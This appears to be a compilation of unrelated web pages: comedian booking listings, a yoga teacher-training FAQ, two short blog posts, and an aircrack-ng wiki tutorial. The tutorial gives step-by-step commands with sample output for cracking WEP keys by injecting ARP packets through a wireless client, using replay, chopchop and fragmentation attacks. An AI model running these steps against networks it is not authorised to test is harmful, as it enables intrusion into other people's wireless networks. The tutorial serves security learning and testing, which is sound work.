Marty Pollio is a versatile and hilarious comedian and variety act. His set includes fast paced, high energy physical comedy (choreographed to music) along with stand-up that is clean, funny and original. Marty's multiple appearances on the Tonight Show and recurring roles in popular network sitcoms top his list of national credits. He has also appeared in concert with the likes of Ray Charles, Herbie Hancock, B.B King, Robin Williams, Billy Crystal, Garry Shandling and Jonathan Winters. ... (more)
Danny Browning
Clean Comedian from Louisville, KY (225 miles from Scott County, MO)
Danny Browning has been touring professionally for 16 years. He's a versatile performer who specializes in corporate events and fundraisers. Danny has a unique mass appeal not commonly found in comedians. His material is non-offensive and his performance flows with non-stop laughter. During his show, Danny will explain why his life is a living nightmare, including personal stories about being a dad, being in relationships, and trying to make it in show-business. A seasoned pro, Danny... (more)
Clean Comedian from Mound Bayou, MS (228 miles from Scott County, MO)
Clean Comedian from Nashville, TN (166 miles from Scott County, MO)
BEST DEMO VIDEO YOU WILL SEE. Mark Robinson is one of hottest comedy acts in the country. You've seen him in comedy clubs, Las Vegas, TV commercials, and NBA halftimes. Check out the video and see why Mark is the GUARANTEED HIT of your next event. (more)
Comedian Entertainer... LaVantor
Stand Up Comedian from Little Rock, AR (219 miles from Scott County, MO)
One of the most original and entertaining acts in the country today offers the most absurd observations made all the funnier by his likeable personality and unique delivery. As soon as, he takes the stage crowds know there is something very special about LaVantor. He looks almost too comfortable, as if he is at home among friends, and he is. Every audience falls in love with the humor of LaVantor. LaVantor takes his audience on a journey into his shell shocked world by recreating his... (more)
Mark Klein - Corpjester
I talk, you laugh! I make my living with clean, high-energy comedy at corporate events, resorts, country clubs, and cruise ships from Tampa to Tahiti. I have been on CBS, A&E, Showtime, Bob and Tom, and Sirius XM. I have also been profiled in GQ Magazine and Forbes! My show is funny enough to headline "A" room comedy clubs, classy enough for cruise lines such as Holland-America and NCL, and clean enough for church and synagogue fundraisers. My act has been enjoyed at venues as varied as... (more)
DERRICK TENNANT - motivate/ laugh/ inspire
Booked 7 Days Ago!
Clean Comedian from Atlanta, GA (366 miles from Scott County, MO)
Clean, Inspirational and actually funny. This is a combination that is tough to find. Derrick Michael Tennant makes a living making people laugh and often inspires them along the way. From entertaining at an A-list comedy club on Friday night to a Saturday afternoon magic show at the Children's hospital or speaking at Sunday morning service, Derrick is pretty versatile. A gifted communicator, Derrick will capture your audience's attention and get the message across too. As an... (more)
BRETT WALKOW - Comedian & Auctioneer
Comedian from Chicago, IL (352 miles from Scott County, MO)
*Winner Best of Gigmasters 2016, 2017, & 2018!* *Winner Midwest Is The Best Comedian 2018!* COMEDIAN: If it's on The Tonight Show, overseas for our troops, a party for 50, or a stadium of 5000, Brett has entertained worldwide for 25 years. He's worked with Jimmy Fallon, Melissa McCarthy, Seinfeld, & his appearances include: The Golden Globes, ABC, HBO, CBS, FOX, MTV, Comedy Central, Lollapalooza, Just for Laughs, Celebrity Cruises, & 7 million YouTube views! He has a hilarious high energy... (more)
STEVE MITTLEMAN ~ Blue-Chip Entertainment
BEST COMEDIAN OF 2012 & 2013. Over 120 EVENTS on Gigmasters nationwide! Happy clients of all kinds. Won The Big Laff-Off on SHOWTIME! On The Tonight Show with Carson & Leno. On Letterman, HBO, COMEDY CENTRAL. Headlines: Corporate events, family parties and more. Can also mc, keynote, customize a message and auctioneer. Worked With: Leno, Seinfeld, Ray Romano... Seinfeld: 'Mittleman is always funny!' Steve Martin: He's funny!' Appears at many local casinos, country clubs and... (more)
Dave Dugan - Comedy to fit every audience
Comedian from Carmel, IN (272 miles from Scott County, MO)
Seen on HBO, COMEDY CENTRAL, FOX and a Regular on the nationally-syndicated BOB AND TOM SHOW ( with nearly 250 appearances), Dave's original and *clean humor* and observations have made him a highly-sought after comedian ( and emcee). An award-winning writer, he takes the time to customize humor for each performance to best fit each audience, group or corporation. Described by event planners as " smart, wickedly funny, and quick – with impeccable timing," Dave is the recipient of... (more)
Brandon Kew | Tall Dark & Comedy Productions
Comedian from Omaha, NE (445 miles from Scott County, MO)
About Us: Tall Dark and Comedy consists of 6' 8" headliner Brandon Kew and 5'8" host Isaiah Garza. Hailing originally from rural Iowa, Brandon moved to the big city after graduating from the University of Northern Iowa to study comedy at Second City Chicago, an improv school that includes famous alums such as Steve Carrell and Tina Fey. He is the winner of Omaha's Clash of the Comics in 2017, placed runner up in the 2017 FunnyBone Clash of Champions and performed numerous times on local... (more)
Michael McDaniel Comic, Impresionist & Minister
Clean Comedian from Southfield, MI (500 miles from Scott County, MO)
There are rare opportunities in a lifetime when you come across a talented artist with natural skills and abilities. Such as the case for Comedian Michael McDaniel. Detroit Native, Michael McDaniel has performed to capacity crowds in various cities and states over the last decade. His unique comedic style has brought audiences to their feet. If you saw him in the movie "Pawn Shop" & over 50 commercial projects, which showcase his impeccable timing, edgy, yet clean and creative... (more)
Jody Fuller
Comedian from Opelika, AL (387 miles from Scott County, MO)
Jody Fuller is a comic, speaker, writer, and soldier with three tours of duty in Iraq. He currently holds the rank of Major in the US Army Reserves. Jody is also a lifetime stutterer. In 2018, he was named one of the "Top 40 0ver 40" in Alabama Magazine and southernthing.com named him as one of "15 Southern stand-up comedians that will make you laugh 'til you cry." Growing up in Opelika, AL Jody had to overcome two things: poverty and stuttering. Enlisting in the Army after high school... (more)
Scott Long:Gigmasters Best Comic 2014-15-16-17-18!
Comedian from Indianapolis, IN (264 miles from Scott County, MO)
Our Best of Gigmasters comedian the past 5 years!! Indiana based Scott Long's CLEAN COMEDY consistently gets 5 star reviews from small events to Fortune 500 companies like GE, John Deere, and State Farm. His non-profanity, but hilarious show works for all ages, which is why Scott has been chosen to perform at the Wisconsin State Fair and the Bass Fishing Championships. Scott's newest material about how the Midwest is better than LA and NY is called Tales from the Cornstalk Ghetto. It's... (more)
Scott Long: Hilariously Clean!
Comedian from Des Moines, IA (380 miles from Scott County, MO)
Our Best of Gigmasters comedian for 2014 and 2015, 2016, 2017, 2018....Scott's Hilarious CLEAN COMEDY has been seen on NBC, FOX-TV, ESPN, and the Bob and Tom Show! Scott Long consistently gets 5 star reviews from small events to Fortune 500 companies like GE, John Deere, and State Farm. His NON-PROFANITY, but funny show works with any group, which is why Scott was chosen to perform at all-age shows at State Fairs, many Cruise Ships and even the Bass Fishing Championships. His comedic message... (more)
Electric Eel. . .shockingly GOOD ENTERTAINMENT
Comedian from Southfield, MI (500 miles from Scott County, MO)
We are Electric Eel Entertainment and we book the best entertainment for the budget. We have been in business since 1992. Our entertainment is electrifying and you will be thoroughly entertained by our comedians, hosts, party crashes, improvisational acts, magicians, and motivational speakers. We even have a Trump impersonator! We offer 3 comedians for the price of one! We specialize in planning, booking, producing, and marketing the best entertainment experience from the corporate event... (more)
Mike Maxwell
Clean Comedian from Chicago, IL (348 miles from Scott County, MO)
I've been fortunate to find myself performing at corporate shows, colleges & universities, comedy clubs, festivals and benefit shows across the country. One of the accomplishments in my comedy that I am most proud of is being selected as a back-to-back finalist for the Great American Comedy Festival in Norfolk, NE. That festival is run in the hometown of Johnny Carson and is a clean comedy festival. Remind me later to tell you about the times I worked with SNL alums Chris Kattan and Tim... (more)
Deno Posey
Clean Comedian from Helena, AL (297 miles from Scott County, MO)
If clean comedy is what you're looking for then look no further than Deno Posey. A veteran of the stage as a comedian, actor, and singer, Deno is at home on stage doing stand-up comedy, hosting events or providing motivational/leadership coaching. Deno is able in a very unique manner to pull from all of his life experiences as a husband, father, everyday guy, and Senior Vice President of a Fortune 500 Company and entertainer. In a clean and clever delivery Deno is brings laughter to ALL... (more)
AL FIKE-CLEAN COMEDIAN & MUSICIAN!
Clean Comedian from Richardson, TX (493 miles from Scott County, MO)
Al Fike has been performing & speaking for churches and corporate organizations for too many years to count! He plays the BANJO, GUITAR, the HANDSAW, and even his HANDS! He's shared the stage with Bob Hope, Zig Ziglar, country music stars Ricky Skaggs, Lee Greenwood and many others. His corporate clients include: Southwest Airlines, Frito-Lay, Verizon Wireless, American Express, JC Penney and Chick-Fil-A. He's appeared on FOX NEWS CHANNEL, ABC's America's Funniest People, Good... (more)
Josh Alton
A versatile comic who is perfect for any type of party or corporate event!! Josh Alton is a rarity in the world of stand-up comedy: He's an athlete-turned-comedian. After playing his final collegiate football game, Alton hung up his cleats and shoulder pads for a microphone and a note pad and began doing stand up comedy. He moved from Des Moines, Iowa to Chicago where he studied improv at the famous Second City Theater and continued doing stand up. Eventually Alton became a regular... (more)
Comedian from Maryville, MO (363 miles from Scott County, MO)
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Here's a FAQ of the most common questions we hear about our teacher training programs. If there's anything we haven't answered here, please don't hesitate to ask. Hope to see you in the studios soon!
I want to become a yoga teacher. Where do I start?
Congratulations on making this momentous decision! We recommend that you begin by enrolling in a Yoga Alliance-registered 200-hour yoga teacher training. It's something like a yoga bachelor's degree. Once you complete your 200-hour training, you might be ready to teach right away. Many trainees continue their studies by enrolling in a 300-hour training to deepen their knowledge and skills. Completing a 300-hour yoga teacher training is like getting a master's degree. It will prepare you to become a seasoned specialist or leader in your yoga community, capable of offering your own trainings at any level.
How proficient in yoga should I be before participating in yoga teacher training?
On one hand, teacher training with Kindness Yoga has no specific prerequisites, and you certainly don't have to master all the postures before enrolling. We don't think yoga teachers need to be advanced yoga athletes; they do need to be hungry for learning and growth – and ready to joyfully take responsibility for themselves and the experiences that inspire them.
On the other hand, our teacher training is rigorous. We strongly recommend that teacher trainees have at least one year of consistent asana practice. The more comfortable you are as a yoga practitioner, the more you will be able to focus on the teaching and transformational aspects of your training. Remember that our 200-hour teacher trainings aren't just for aspiring teachers; they are also for students who want to deepen their practices.
How should I decide which training to take?
There are several things to take into consideration when choosing the program that's right for you. Our trainings feature a variety of different schedules, style emphases, and teams of trainers. We recommend that you contact our team at training@kindnesscollective.com to talk through your options and find the combination of features that's right for you!
How many students are in your trainings?
We strive to keep our teacher trainings small enough for students to get plenty of individual, hands-on attention from their trainers. The maximum number of students in our trainings ranges from 12 to 24, depending on the training you wish to enroll in. No matter the training, we strive to keep the student/teacher ratio relatively consistent.
What is the typical age range of students who take your trainings?
Students generally range from 20-55 years old. Kindness Yoga trainings tend to be diverse and attract folks from all walks of life.
What happens if I miss a day or weekend?
You are strongly advised to attend all sessions. But we understand that this is a significant commitment and life happens! If you miss something, you will be required to make up the missed material by taking a private session with one of the leads for an additional cost and/or completing homework.
If you miss less than 20 hours over the course of your training, you may still graduate with your class. If you must miss more than 20 hours, you may need to complete coursework in a future training.
What if I need to withdraw from the training?
We require a $500 non-refundable deposit to secure your spot in the Kindness Yoga Teacher Training. The rest of your tuition is fully refundable any time between the day we receive it and thirty-one days before the start of the training you originally applied to attend.
You are eligible to transfer one time to an open training on our calendar, and the transfer must occur 14 days before the start date of your original training. One the training begins, tuition is non-refundable and non-transferable.
Does the cost of your trainings include textbooks?
The cost of your training includes the Kindness Yoga Teacher Training Manual and all special events and field trips, such as Soulful Breathwork and cadaver labs. It does not include additional books and resources. We have a library of books you are welcome to use during class, but we do recommend that you purchase your own copy of at least one asana-focused book such as Light on Yoga by BKS Iyengar.
Will I be qualified to teach yoga after completing your training?
Yes! Once you've successfully completed the 200-hour requirements, you will receive a graduation certificate from Kindness Yoga. You may also register with Yoga Alliance at the RYT-200 level. Many new teachers also choose to continue their education by enrolling in our 300-hour professional yoga teacher training program. Upon completion of this advanced curriculum, you will be eligible to enroll with Yoga Alliance at the RYT-500 level.
Does Kindness Yoga offer scholarships?
Kindness Yoga collaborates with Comeback Yoga to offer 200-hour Yoga Teacher Training scholarships to active duty service members or veterans of all service branches of the U.S. military. If a veteran is approved for a Comeback Yoga scholarship, Kindness Yoga may offer one spot per training for veterans at 50% of the full cost of the training. If a candidate is not successful in the Comeback Yoga scholarship process for any reason, they may still approach Kindness for a 50% scholarship. For more information about Comeback Yoga and their scholarship opportunities. please click here.
I need a new certificate. How do I get one?
We can help! If you're a Kindness 200-hour or 300-hour graduate, simply email our team at training@kindnesscollective.com. Electronic copies of your certificate are free, and hard copies are $50. Whichever version you would like, in your email please include your name as you'd like it to appear and specify the training from which you graduated.


Charlie No-Aim hadn't gotten his lead pipe action on in quite a while until last Friday's strip. Apparently he's got a taste for blood because he's back at it again. There's a small promo for The Holiday Men in the background of the second panel, although it didn't totally survive the re-sizing process. If you can't read it, it says "Nick Klaus" and "Have you seen me?" above the O'Mega Mart symbol.
I've come up with a couple of features for the site that I think might be interesting. One is a New Reader's Guide, which I figure is a decent idea since I'm approaching 150 comics and don't really fall into the gag-a-day or extended story models that most webcomics use. It'll also highlight a few of the features of the site, including the page bookmark and the comments section, that I'd like to see get some more use (okay, to be fair I actually have no way to track whether or not the bookmark gets used or not, but it's not totally obvious). The second is the Thugcyclopedia, a glossary of terms, characters, places, important events, and whatever else I can think of. It'll allow me to fill in a lot of small details that I think are interesting but would be awkward to try to shoehorn into a story.
Relatedly, I wouldn't mind if the comments box that is attached to each page saw some more use. I'd love to hear what you guys think about the comic, and I do read and respond to comments when they're left.
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1) I passed the A+ Essentials exam! FINALLY!
3) In another week I'll be just another pirate looking back at 40.
4) I keep asking you Chinese spammers to buy my book, but NOOOOOOOO you cheapskates are just here for the free donuts! Shame on you!
Labels: personal stuff, success, what did I do to upset China now?
I'm getting spammed by the Chinese?
Last two entries had comments on them trying to link to other locations on the 'Net. No comments at all, just the links. That never looks good, so I trashed them.
If you Chinese guys adding comments are really reading this, could you at least put in a sentence or two so I know I'm not getting spammed by 'bots? Better yet, can you guys go on Amazon.com and buy my book? Awesome sauce!
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====== Tutorial: How to crack WEP via a wireless client ? ====== Version: 1.17 September 11, 2009 \\ By: darkAudax \\ \\ File linked to this tutorial: [[http://download.aircrack-ng.org/wiki-files/other/arpcapture-01.cap|arpcapture-01.cap]] ===== Introduction ===== There has been a lot of discussion over time of how to use a wireless client workstation to generate packets to crack WEP instead of the wireless access point itself. This tutorial describes four approaches with examples of how to do this. The examples provided are from real working equipment, not theory. Each was used in real life and successfully cracked the WEP keys. The basic idea is to have the wireless client workstation generate data packets with IVs which we can use to crack the WEP key. Normally we have the access point itself generate the data packets with IVs. So why would you need to leverage a wireless client workstation instead of the access point? Here are just a few of the reasons: * Some access points max out at 130k unique IVs * Client-to-client controls imposed by some access points * MAC address access controls * Access points which eliminate weak IVs * You can't successfully do a fake association * You are within range of a client but not the access point itself I would like to acknowledge and thank the Aircrack-ng Team for producing such a great robust tool. And also acknowledge the many other people who came up with the ideas and techniques described in this tutorial. I certainly don't take credit for the techniques in this tutorial. My role was simply to pull them together in one place and describe them in detail. Please send me any constructive feedback, positive or negative. ===== Solution ===== ====Assumptions used in this tutorial==== * You have a wireless card with the same characteristics as the client. IE G and G, A and A. Not a B card and the client has a G card. Etc. * You have airodump-ng installed and fully working. * Your wireless rig is working and can inject packets. * You are physically close enough to the client to send packets to them and receive packets from them. * You have Wireshark installed and working. Plus you have a basic understanding of how to use it. * You are using the aircrack-ng stable version of 0.9 or the development version of 1.0. This is very important since there is a bug in 0.6.2 aireplay-ng which switches -k and -l IP addresses. ====Equipment used==== ===Target client=== Operating system: WinXP (not that it really matters) \\ MAC address: 00:0F:B5:46:11:19 ===Access Point=== ESSID: teddy (not that it really matters) \\ MAC address: 00:14:6C:7E:40:80 Channel: 9 ===Aircrack-ng System=== Operating System: Linux \\ MAC address: does not matter Wireless interface used: ath0 ===Ethernet wired Workstation=== Operating System: Linux \\ MAC address: 00:40:F4:77:F0:9B ===Ethernet wired Workstation=== Operating System: Linux \\ MAC address: 00:0D:60:2E:CC:E1 ===Wireless Workstation=== Operating System: Linux \\ MAC address: 00:09:5B:EC:EE:F2 ==== Scenarios ==== The tutorial covers four scenarios: * Scenario One: Pulling packets from captured data. * Scenario Two: Interactively pulling packets from live communication * Scenario Three: Creating a packet from a chopchop replay attack * Scenario Four: Creating a packet from a fragmentation attack Now onto the details... \\ \\ ===Scenario One - Pulling packets from captured data=== We are going to use a packet from captured data. Lets say you were running airodump-ng capturing packets to/from the access point and feel there are some arps you can use for injection. ARP packets are not the only ones you can use. I focus on these because they are guaranteed to succeed and are the easiest to find in a packet capture. I say ARPs are guaranteed to succeed since the client must respond to an arp request directed at the client. Remember it is not just any ARP. It must be an ARP request for the specific client(s) you are targeting. First, capture packets going to/from the access point in question. To reduce the clutter, use a BSSID filter for the particular Access Point you are targeting and the specific channel. In our example: airodump-ng --channel 9 --bssid 00:14:6C:7E:40:80 -w aprcapture ath0 You need one or more wireless clients active while you are doing this capture. If there is little or no activity, it is unlikely you will capture anything of value. While you are capturing packets, you can copy the file for analysis so that the capture can continue. You can also run WireShark real time and view the packets as they arrive. So now the objective is to find an ARP request packet coming from the ethernet or another wireless client via the access point to the client. The client will always respond to the arp request for itself. This means the client will broadcast an arp reply back to the originator on the ethernet via the access point. Characteristics of the incoming packet we want: * BSSID: access point * Destination MAC: Broadcast (FF:FF:FF:FF:FF:FF) * Source MAC: anything * Packet length: 68 or 86 (68 is typical for arp request packets originating from wireless clients. 86 is typical for arp requests from wired clients.) Characteristics of the outgoing packet we want: * BSSID: access point * Destination MAC: the source MAC address from the incoming packet meaning the client is responding to it. * Source MAC: MAC address of client * Packet length: 68 or 86 (68 is typical for arp packets originating from wireless clients. 86 is typical for arp packets from wired clients.) In simple terms we are looking for an ARP request to the client and a subsequent reply. First try Wireshark display filter of: (wlan.bssid == 00:14:6c:7e:40:80 and (frame.pkt_len>=68 and frame.pkt_len le 86)) This selects packets to/from the access point which have a packet length greater then or equal to 68 and a packet length of less then or equal to 86. You will have to change wlan.bssid to the access point MAC address and possibly change the frame packet length values to match any local system variations. The filter above should be a pretty good starting point. Once you have zeroed in on some possible packets then you can use the following display filter to focus on a particular client: (wlan.bssid == 00:14:6c:7e:40:80 and (frame.pkt_len>=68 and frame.pkt_len le 86) and (wlan.da == ff:ff:ff:ff:ff:ff or wlan.sa == 00:0f:b5:46:11:19)) Change the wlan.sa value to the particular client you are targeting. Change the frame packet length values to narrow it down if you need to. In simple terms, we are looking for an ARP request and the subsequent reply. The attached file aprcapture-01.cap has some real examples. You can use the filters above on this file. Here is a summary of what the packets are. The numbers are the packets starting at one. If you view the [[http://download.aircrack-ng.org/wiki-files/other/arpcapture-01.cap| sample arp file]] via WireShark then the numbers will match the following: * 391 - This is an arp request from a wired workstation to our client being broadcast by the AP. It never gets answered and must have got lost. * 416 - The AP broadcasts the arp request received from the wired workstation. This is a repeat arp request via the AP since the first one (391) was never answered. * 417 - The client sends an arp response via the AP to the wired workstation. Notice the short time period between the request and response. * 501 - A wireless workstation sends an arp request to the client via the AP. This packet is really a request to the AP to broadcast the arp request. * 503 - The AP broadcasts the arp request to all the wireless clients. * 504 - The client sends an arp response to wireless workstation via the AP. This packet is really a request to the AP to send the arp response to the wireless workstation * 506 - This is the arp response being retransmitted from the AP to the wireless workstation. The two possible packets to use are 416 or 503. You can try both. Number 503 is better since it will generate two data packets for each one you inject. The two being the reply from the client to the AP and the AP to the wireless workstation. Basically you double your data capture rate. People are always asking how to increase the injection rate, this one technique. Once you have found one or more of these pairs then right-click the packets going to the client that you want within Wireshark and "mark" them. Then click "save as" and select "marked" to be saved as dsarprequests.cap or whatever file name you want. Now you hopefully have a file with ARP requests going to a specific client. Remember that the packets selected are not guaranteed to work. They are just very likely candidates based on observation. You may need to try a few to get things to work. Restart your packet capture if it not still going: airodump-ng --channel 9 --bssid 00:14:6C:7E:40:80 -w aprcapture ath0 Be sure NOT to use the "-''''-ivs" option since you will later use the PTW method to crack the WEP key. This is "aircrack-ng -z". The PTW requires the full packet and only works on arp request/reply packets. Now use interactive replay in a second separate session: aireplay-ng -2 -r dsarprequests.cap ath0 You are now sending the ARP requests from your PC to the client directly, not through the access point. The client will send an ARP reply for each request. Now your data packets start zooming up. Start aircrack-ng (aircrack-ng -z arpcapture*.cap) in a third session and determine the key! Success! ===Scenario Two - Interactively pulling packets from live communication=== In this scenario we are going do the capture and injection in real time. The objective is to select an arp request for a wireless client going to the client. Then we reinject it to cause the wireless client to generate new unique IVs. First, start capturing packets going to/from the access point in question. To reduce the clutter, use a BSSID filter for the particular Access Point you are targeting and the specific channel. In our example: airodump-ng --channel 9 --bssid 00:14:6C:7E:40:80 -w aprcapture ath0 Now start a separate second session to interactively capture and replay packets: aireplay-ng -2 -b 00:14:6C:7E:40:80 -d FF:FF:FF:FF:FF:FF -f 1 -m 68 -n 86 ath0 You will have to change "-b" to the MAC address of the access point in question. Plus the minimum "-m" and maximum "-n" packet lengths may have to be tweaked based on origin of the packets and local environment. Typically minimum of 68 and maximum of 86. Some experimentation may be necessary. The characteristics of the packet we are trying to select is: * BSSID: access point * Destination MAC: Broadcast (FF:FF:FF:FF:FF:FF) * Source MAC: anything * Direction: from Access Point * Packet length: 68 or 86 (68 is typical for arp packets originating from wireless clients. 86 is typical for arp requests from wired clients.) Here is why we use the other values: * -d ff:ff:ff:ff:ff:ff (means only select packets which are Broadcast) * -f 1 (means only select packets which are coming from the access point) Here is an example of a packet we would select: Read 210 packets... Size: 68, FromDS: 1, ToDS: 0 (WEP) BSSID = 00:14:6C:7E:40:80 Dest. MAC = FF:FF:FF:FF:FF:FF Source MAC = 00:09:5B:EC:EE:F2 0x0000: 0842 0000 ffff ffff ffff 0014 6c7e 4080 .B..........l~@. 0x0010: 0009 5bec eef2 409a 7501 0000 1a85 1808 ..[...@.u....... 0x0020: 3820 91ae 6e38 248d 0555 1703 b645 24a7 8 ..n8$..U...E$. 0x0030: 3e0e 943b f531 66a2 a825 adf9 178d 3699 >..;.1f..%....6. 0x0040: 7903 7765 y.we Use this packet ? Remember, the objective is to select an arp request for a wireless client going to the client. Since you don't know the contents of the packets you are selecting, you may need to try a few packets to get it to work. The ARP request must be for a wireless client. Once you are successfully injecting packets, start aircrack-ng to determine the WEP key. === Scenario Three - Creating a packet from a chopchop replay attack === We first need to generate the xor file. This file gives us the ability to create new encrypted packets for injection. You run the following command and select a packet which is a decent size. It has to be larger then the ARP packet we want to create. So pick something like 86 or more bytes. As well we need to determine the IP address of the wireless workstation we are targeting. So pick a packet with a source or destination MAC address of the workstation. The reason for this is that we will later use tcpdump to look at the decrypted packet and obtain the IP address. Run "aireplay-ng -4 ath0 -h 00:0F:B5:46:11:19". Change the -h to be the MAC address of a client associated with the AP. You can also do a fake association and use this MAC. It is just simply easier to use a MAC already associated with the AP. Although this example is an arp request, as mentioned above, you should try to pick a packet to or from the workstation. Here is example output: Size: 86, FromDS: 1, ToDS: 0 (WEP) BSSID = 00:14:6C:7E:40:80 Dest. MAC = FF:FF:FF:FF:FF:FF Source MAC = 00:40:F4:77:F0:9B 0x0000: 0842 0000 ffff ffff ffff 0014 6c7e 4080 .B..........l~@. 0x0010: 0040 f477 f09b 60e3 6201 0000 55b1 496a .@.w..`.b...U.Ij 0x0020: ff2d a9ad 8161 7888 8d2d 08a7 3d10 4712 .-...ax..-..=.G. 0x0030: 1bd2 8701 8674 82b3 8746 22e3 d4d5 4e85 .....t...F"...N. 0x0040: 9911 679d b99d 4996 0c01 d7b4 6549 1840 ..g...I.....eI.@ 0x0050: 0723 54fb 488d .#T.H. Use this packet ? y Saving chosen packet in replay_src-1231-132955.cap Offset 85 ( 0% done) | xor = C4 | pt = 49 | 41 frames written in 124ms Offset 84 ( 1% done) | xor = 89 | pt = C1 | 228 frames written in 684ms Offset 83 ( 3% done) | xor = DB | pt = 20 | 129 frames written in 387ms Offset 82 ( 5% done) | xor = 28 | pt = 7C | 245 frames written in 735ms Offset 81 ( 7% done) | xor = 23 | pt = 00 | 5 frames written in 15ms Offset 80 ( 9% done) | xor = 07 | pt = 00 | 30 frames written in 90ms Offset 79 (11% done) | xor = 40 | pt = 00 | 29 frames written in 87ms Offset 78 (13% done) | xor = 18 | pt = 00 | 6 frames written in 18ms Offset 77 (15% done) | xor = 49 | pt = 00 | 171 frames written in 513ms Offset 76 (17% done) | xor = 65 | pt = 00 | 249 frames written in 747ms Offset 75 (19% done) | xor = B4 | pt = 00 | 88 frames written in 264ms Offset 74 (21% done) | xor = D7 | pt = 00 | 156 frames written in 469ms Offset 73 (23% done) | xor = 01 | pt = 00 | 249 frames written in 746ms Offset 72 (25% done) | xor = 0C | pt = 00 | 63 frames written in 189ms Offset 71 (26% done) | xor = 96 | pt = 00 | 12 frames written in 36ms Offset 70 (28% done) | xor = 49 | pt = 00 | 45 frames written in 135ms Offset 69 (30% done) | xor = 9D | pt = 00 | 7 frames written in 21ms Offset 68 (32% done) | xor = B9 | pt = 00 | 224 frames written in 672ms Offset 67 (34% done) | xor = 9D | pt = 00 | 153 frames written in 459ms Offset 66 (36% done) | xor = 67 | pt = 00 | 194 frames written in 583ms Offset 65 (38% done) | xor = 11 | pt = 00 | 19 frames written in 56ms Offset 64 (40% done) | xor = 99 | pt = 00 | 127 frames written in 381ms Offset 63 (42% done) | xor = E8 | pt = 6D | 209 frames written in 627ms Offset 62 (44% done) | xor = 79 | pt = 37 | 139 frames written in 417ms Offset 61 (46% done) | xor = 7D | pt = A8 | 53 frames written in 159ms Offset 60 (48% done) | xor = 14 | pt = C0 | 76 frames written in 228ms Offset 59 (50% done) | xor = E3 | pt = 00 | 204 frames written in 612ms Offset 58 (51% done) | xor = 22 | pt = 00 | 47 frames written in 141ms Offset 57 (53% done) | xor = 46 | pt = 00 | 203 frames written in 608ms Offset 56 (55% done) | xor = 87 | pt = 00 | 122 frames written in 367ms Offset 55 (57% done) | xor = B3 | pt = 00 | 9 frames written in 27ms Offset 54 (59% done) | xor = 82 | pt = 00 | 223 frames written in 669ms Offset 53 (61% done) | xor = 47 | pt = 33 | 241 frames written in 723ms Offset 52 (63% done) | xor = B1 | pt = 37 | 123 frames written in 368ms Offset 51 (65% done) | xor = A9 | pt = A8 | 20 frames written in 60ms Offset 50 (67% done) | xor = 47 | pt = C0 | 97 frames written in 291ms Offset 49 (69% done) | xor = 49 | pt = 9B | 188 frames written in 564ms Offset 48 (71% done) | xor = EB | pt = F0 | 47 frames written in 143ms Offset 47 (73% done) | xor = 65 | pt = 77 | 64 frames written in 190ms Offset 46 (75% done) | xor = B3 | pt = F4 | 253 frames written in 759ms Offset 45 (76% done) | xor = 50 | pt = 40 | 109 frames written in 327ms Offset 44 (78% done) | xor = 3D | pt = 00 | 242 frames written in 726ms Offset 43 (80% done) | xor = A6 | pt = 01 | 194 frames written in 583ms Offset 42 (82% done) | xor = 08 | pt = 00 | 99 frames written in 296ms Offset 41 (84% done) | xor = 29 | pt = 04 | 164 frames written in 492ms Offset 40 (86% done) | xor = 8B | pt = 06 | 69 frames written in 207ms Offset 39 (88% done) | xor = 88 | pt = 00 | 137 frames written in 411ms Offset 38 (90% done) | xor = 70 | pt = 08 | 229 frames written in 687ms Offset 37 (92% done) | xor = 60 | pt = 01 | 232 frames written in 696ms Offset 36 (94% done) | xor = 81 | pt = 00 | 19 frames written in 57ms Offset 35 (96% done) | xor = AB | pt = 06 | 230 frames written in 690ms Sent 969 packets, current guess: C5... The AP appears to drop packets shorter than 35 bytes. Enabling standard workaround: ARP header re-creation. Warning: ICV checksum verification FAILED! Saving plaintext in replay_dec-1231-133021.cap Saving keystream in replay_dec-1231-133021.xor Completed in 22s (2.18 bytes/s) So look at the decrypted packet with Wireshark or tcpdump to get the IP information you need. See below for an example. In this case, we are ultra lucky and get the IP of the target wireless workstation. You may have to try a few packets to get the IP of wireless workstation. tcpdump -n -vvv -e -s0 -r replay_dec-1231-133021.cap reading from file replay_dec-1231-133021.cap, link-type IEEE802_11 (802.11) 13:30:21.150772 0us DA:Broadcast BSSID:00:14:6c:7e:40:80 SA:00:40:f4:77:f0:9b LLC, dsap SNAP (0xaa), ssap SNAP (0xaa), cmd 0x03: oui Ethernet (0x000000), ethertype ARP (0x0806): arp who-has 192.168.55.109 tell 192.168.55.51 Now we have the wireless workstation IP and use the xor file above to create an ARP packet. Be absolutely sure to include the -j and -o switches below. However, So if you are using 0.9 then the correct command is: packetforge-ng --arp -a 00:14:6C:7E:40:80 -c 00:0F:B5:46:11:19 -h 00:40:F4:77:F0:9B -j -o -l 192.168.55.109 -k 192.168.55.51 -y replay_dec-1231-133021.xor -w arpforge.cap * -a 00:14:6C:7E:40:80 access point MAC address * -c 00:0F:B5:46:11:19 MAC address of the target wireless workstation * -h 00:40:F4:77:F0:9B MAC address from a workstation on the ethernet. You can make up a MAC address if you don't know a valid one. * -l 192.168.55.109 * -k 192.168.55.51 * -y replay_dec-1231-133021.xor * -j set FromDS bit * -o clear ToDS bit The command example below is correct for version 0.6.2 for what we want to do. There was a bug in version 0.6.2 where by -k and -l parameters were reversed. packetforge-ng --arp -a 00:14:6C:7E:40:80 -c 00:0F:B5:46:11:19 -h 00:40:F4:77:F0:9B -j -o -k 192.168.55.109 -l 192.168.55.51 -y replay_dec-1231-133021.xor -w arpforge.cap After creating the packet, use tcpdump to review it from a sanity point of view. See below. It looks good! tcpdump -n -vvv -e -s0 -r arpforge.cap reading from file arpforge.cap, link-type IEEE802_11 (802.11) 13:32:06.523444 WEP Encrypted 258us DA:Broadcast BSSID:00:14:6c:7e:40:80 SA:00:40:f4:77:f0:9b Data IV:162 Pad 0 KeyID 0 Since you are testing against your own AP (you are, right?), then decrypt the packet and ensure it is correct. These steps are not required, they just prove to yourself that you have generated the correct packet. Decrypt the packet: airdecap-ng -e teddy -w <put your WEP key here> arpforge.cap View the decrypted packet: tcpdump -n -r arpforge-dec.cap It should be something like: reading from file arpforge-dec.cap, link-type EN10MB (Ethernet) 16:44:53.673597 arp who-has 192.168.55.51 tell 192.168.55.109 This is good since we know our client is 192.168.55.109 and we wanted an arp request addressed to the client. Now inject the packet: aireplay-ng -2 -r arpforge.cap ath0 At this point, you should be generating data packets via the wireless workstation and can use aircrack-ng in the normal manner to crack the WEP key. ===Scenario Four: Creating a packet from a fragmentation attack=== The fragmentation replay attack is basically the same as chopchop. The key difference is that the fragmentation attack is used to obtain the xor file instead of the chopchop technique. 